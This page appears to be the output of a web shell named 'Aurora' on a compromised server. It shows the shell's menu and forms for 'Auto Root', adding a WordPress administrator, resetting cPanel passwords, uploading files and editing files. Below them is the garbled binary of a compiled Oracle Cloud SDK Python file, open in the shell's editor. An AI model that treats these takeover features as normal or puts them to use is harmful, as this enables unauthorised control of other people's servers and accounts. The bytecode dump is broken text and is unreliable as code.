Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
devops
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: patch_move_instruction.cpython-39.pyc
a ���f� � @ sD d dl mZ ddlmZmZmZ ddlmZ eG dd� de��ZdS )� )�PatchInstruction� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ sp e Zd ZdZdZdZdZdd� Zedd� �Z e j d d� �Z ed d� �Zej dd� �Zd d� Zdd� Z dd� ZdS )�PatchMoveInstructiona� An operation that "puts" values from elsewhere in the target, functionally equivalent to a single add and then a remove. The first item of the selection is replaced, or created if the selection is empty. NOT_FOUND exceptions in the selection are handled by creating the implied containing structure. This operation fails if the `from` selection yields any exceptions, or if an item is moved to any of its descendants. �AT�BEFORE�AFTERc K sB ddddd�| _ ddddd�| _d| _d| _d| _d| _d| _dS ) ac Initializes a new PatchMoveInstruction object with values from keyword arguments. The default value of the :py:attr:`~oci.devops.models.PatchMoveInstruction.operation` attribute of this class is ``MOVE`` and it should not be changed. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param operation: The value to assign to the operation property of this PatchMoveInstruction. Allowed values for this property are: "REQUIRE", "PROHIBIT", "REPLACE", "INSERT", "REMOVE", "MOVE", "MERGE" :type operation: str :param selection: The value to assign to the selection property of this PatchMoveInstruction. :type selection: str :param _from: The value to assign to the _from property of this PatchMoveInstruction. :type _from: str :param position: The value to assign to the position property of this PatchMoveInstruction. Allowed values for this property are: "AT", "BEFORE", "AFTER" :type position: str �str)� operation� selection�_from�positionr r �fromr NZMOVE)Z swagger_typesZ attribute_mapZ _operationZ _selection�_PatchMoveInstruction__from� _position)�self�kwargs� r �L/usr/lib/python3.9/site-packages/oci/devops/models/patch_move_instruction.py�__init__! s ��zPatchMoveInstruction.__init__c C s | j S )z� **[Required]** Gets the _from of this PatchMoveInstruction. The selection that is to be moved, with the same format and semantics as `selection`. :return: The _from of this PatchMoveInstruction. :rtype: str �r �r r r r r N s zPatchMoveInstruction._fromc C s || _ dS )z� Sets the _from of this PatchMoveInstruction. The selection that is to be moved, with the same format and semantics as `selection`. :param _from: The _from of this PatchMoveInstruction. :type: str Nr )r r r r r r Z s c C s | j S )a: Gets the position of this PatchMoveInstruction. Where to insert the value in an array, relative to the first item in the selection. If there is no such item, then "BEFORE" specifies insertion at the first position in an array and "AFTER" specifies insertion at the last position. If the first item in the selection is not the child of an array, then this field has no effect. Allowed values for this property are: "AT", "BEFORE", "AFTER" :return: The position of this PatchMoveInstruction. :rtype: str )r r r r r r f s zPatchMoveInstruction.positionc C s* g d�}t ||�s td|� ���|| _dS )a� Sets the position of this PatchMoveInstruction. Where to insert the value in an array, relative to the first item in the selection. If there is no such item, then "BEFORE" specifies insertion at the first position in an array and "AFTER" specifies insertion at the last position. If the first item in the selection is not the child of an array, then this field has no effect. :param position: The position of this PatchMoveInstruction. :type: str )r r r z5Invalid value for `position`, must be None or one of N)r � ValueErrorr )r r Zallowed_valuesr r r r v s �c C s t | �S �N)r r r r r �__repr__� s zPatchMoveInstruction.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__� s zPatchMoveInstruction.__eq__c C s | |k S r r r r r r �__ne__� s zPatchMoveInstruction.__ne__N)�__name__� __module__�__qualname__�__doc__ZPOSITION_ATZPOSITION_BEFOREZPOSITION_AFTERr �propertyr �setterr r r! r"